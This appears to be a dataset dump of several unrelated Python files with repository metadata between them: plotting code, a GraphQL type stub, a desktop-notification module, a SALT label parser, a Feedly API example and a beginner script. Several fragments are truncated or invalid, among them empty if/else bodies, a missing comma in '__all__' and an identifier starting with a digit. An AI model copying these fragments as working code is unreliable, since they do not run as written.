height=1) box_2.save(os.path.join(args.output, 'PC2_boxplot.pdf'), width=4.8, height=1) pcs.to_csv(os.path.join(args.output, 'Principle_coordinations.csv')) print('Plots are saved in {}. Import them into Illustrator for further improvements.'.format(args.output))
49.092593
169
0.704828
bb77128dc910f27388f4e518fef5f850a41210e0
357
py
Python
web/impact/impact/graphql/types/location_type.py
masschallenge/impact-api
81075ced8fcc95de9390dd83c15e523e67fc48c0
[ "MIT" ]
5
2017-10-19T15:11:52.000Z
2020-03-08T07:16:21.000Z
web/impact/impact/graphql/types/location_type.py
masschallenge/impact-api
81075ced8fcc95de9390dd83c15e523e67fc48c0
[ "MIT" ]
182
2017-06-21T19:32:13.000Z
2021-03-22T13:38:16.000Z
web/impact/impact/graphql/types/location_type.py
masschallenge/impact-api
81075ced8fcc95de9390dd83c15e523e67fc48c0
[ "MIT" ]
1
2018-06-23T11:53:18.000Z
2018-06-23T11:53:18.000Z
from graphene_django import DjangoObjectType from accelerator.models import Location
18.789474
44
0.521008
bb7baf8c8805cb067d4cf73845cfee7e1f0d116f
2,835
py
Python
invoice/spy/notify_osd.py
simone-campagna/invoice
6446cf6ebb158b895cd11d707eb019ae23833881
[ "Apache-2.0" ]
null
null
null
invoice/spy/notify_osd.py
simone-campagna/invoice
6446cf6ebb158b895cd11d707eb019ae23833881
[ "Apache-2.0" ]
16
2015-01-30T16:28:54.000Z
2015-03-02T14:18:56.000Z
invoice/spy/notify_osd.py
simone-campagna/invoice
6446cf6ebb158b895cd11d707eb019ae23833881
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # # Copyright 2015 Simone Campagna # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # __author__ = "Simone Campagna" __all__ = [ 'available' 'notify', ] import os try: # pragma: no cover import notify2 HAS_NOTIFY2 = True except ImportError: HAS_NOTIFY2 = False from . import text_formatter _NOTIFICATION = None _PACKAGE_DIR = os.path.dirname(__file__) _ICONS = { 'info': os.path.join(_PACKAGE_DIR, 'icons', 'logo_info.jpg'), 'warning': os.path.join(_PACKAGE_DIR, 'icons', 'logo_warning.jpg'), 'error': os.path.join(_PACKAGE_DIR, 'icons', 'logo_error.jpg'), } if HAS_NOTIFY2: # pragma: no cover else: notify = None
35
114
0.65679
bb7bc4b7cb8f753fbf39ae6cb16944a05b0ab207
3,878
py
Python
src/discoursegraphs/readwrite/salt/labels.py
arne-cl/discoursegraphs
4e14688e19c980ac9bbac75ff1bf5d751ef44ac3
[ "BSD-3-Clause" ]
41
2015-02-20T00:35:39.000Z
2022-03-15T13:54:13.000Z
src/discoursegraphs/readwrite/salt/labels.py
arne-cl/discoursegraphs
4e14688e19c980ac9bbac75ff1bf5d751ef44ac3
[ "BSD-3-Clause" ]
68
2015-01-09T18:07:38.000Z
2021-10-06T16:30:43.000Z
src/discoursegraphs/readwrite/salt/labels.py
arne-cl/discoursegraphs
4e14688e19c980ac9bbac75ff1bf5d751ef44ac3
[ "BSD-3-Clause" ]
8
2015-02-20T00:35:48.000Z
2021-10-30T14:09:03.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """ This module handles the parsing of SALT labels. There are three types of labels (SFeature, SElementId, SAnnotation). Labels can occur as children of these elements: 'layers', 'nodes', 'edges' and '{sDocumentStructure}SDocumentGraph'. """ from lxml.builder import ElementMaker from discoursegraphs.readwrite.salt.util import (get_xsi_type, string2xmihex, NAMESPACES) XSI = "http://www.w3.org/2001/XMLSchema-instance" def get_namespace(label): """ returns the namespace of an etree element or None, if the element doesn't have that attribute. """ if 'namespace' in label.attrib: return label.attrib['namespace'] else: return None def get_annotation(label): """ returns an annotation (key, value) tuple given an etree element (with tag 'labels' and xsi type 'SAnnotation'), e.g. ('tiger.pos', 'ART') """ assert get_xsi_type(label) == 'saltCore:SAnnotation' return (label.attrib['name'], label.attrib['valueString'])
35.577982
79
0.60624
bb7c19c39a756e836f832fe37756f912b98af313
1,214
py
Python
examples/stream_entries.py
feedly/python-api-client
a211734a77337145efa0d1a1ddfe484f74530998
[ "MIT" ]
31
2018-08-20T08:35:09.000Z
2022-03-21T04:17:27.000Z
examples/stream_entries.py
feedly/python-api-client
a211734a77337145efa0d1a1ddfe484f74530998
[ "MIT" ]
8
2018-10-17T18:09:44.000Z
2021-12-14T10:03:34.000Z
examples/stream_entries.py
feedly/python-api-client
a211734a77337145efa0d1a1ddfe484f74530998
[ "MIT" ]
7
2018-09-04T01:10:48.000Z
2021-08-19T11:07:54.000Z
from feedly.api_client.session import FeedlySession from feedly.api_client.stream import StreamOptions from feedly.api_client.utils import run_example def example_stream_entries(): """ This example will prompt you to enter a category name, download the 10 latest articles from it, and display their titles. """ # Prompt for the category name/id to use user_category_name_or_id = input("> User category name or id: ") # Create the session using the default auth directory session = FeedlySession() # Fetch the category by its name/id # To use an enterprise category, change to `session.user.enterprise_categories`. Tags are also supported. category = session.user.user_categories.get(user_category_name_or_id) # Stream 10 articles with their contents from the category for article in category.stream_contents(options=StreamOptions(max_count=10)): # Print the title of each article print(article["title"]) if __name__ == "__main__": # Will prompt for the token if missing, and launch the example above # If a token expired error is raised, will prompt for a new token and restart the example run_example(example_stream_entries)
39.16129
117
0.74547
bb809b94005596a2a1d4a23ab288a44cc7045e25
141
py
Python
program5.py
kashifrepo/Python-Saylani
1ac9fe05012ad716d4ef30d771d9828f91221ac6
[ "Apache-2.0" ]
null
null
null
program5.py
kashifrepo/Python-Saylani
1ac9fe05012ad716d4ef30d771d9828f91221ac6
[ "Apache-2.0" ]
null
null
null
program5.py
kashifrepo/Python-Saylani
1ac9fe05012ad716d4ef30d771d9828f91221ac6
[ "Apache-2.0" ]
null
null
null
# Program no 5 1stname = input(" Enter 1st name ") lastname = input(" Enter last name ") print 1stname[::-1] print lastname[::-1]
20.142857
38
0.617021